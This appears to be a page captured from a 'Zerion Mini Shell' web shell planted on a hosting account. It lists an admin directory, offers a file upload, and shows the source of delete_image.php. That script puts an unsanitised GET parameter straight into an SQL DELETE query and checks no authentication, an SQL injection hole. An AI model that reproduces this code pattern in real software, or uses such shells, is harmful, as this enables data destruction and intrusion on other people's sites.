ok

Mini Shell

Direktori : /home1/indocan/public_html/admin/
Upload File :
Current File : /home1/indocan/public_html/admin/delete_image.php

<?php
require_once ('conn.php');
$id = (isset($_GET['id']) ? $_GET['id'] : '');
$result = mysqli_query($conn, "DELETE FROM `images`  WHERE idimage='$id'");
      
        if($result){
        echo "<script>alert('Record Delete Successful')</script>";
        echo "<script>window.location = 'view_images.php'</script>";
        }else{
            echo "<script>alert('Record Delete Failed')</script>";
            echo "<script>window.location = 'view_images.php'</script>";
        }
?>

Zerion Mini Shell 1.0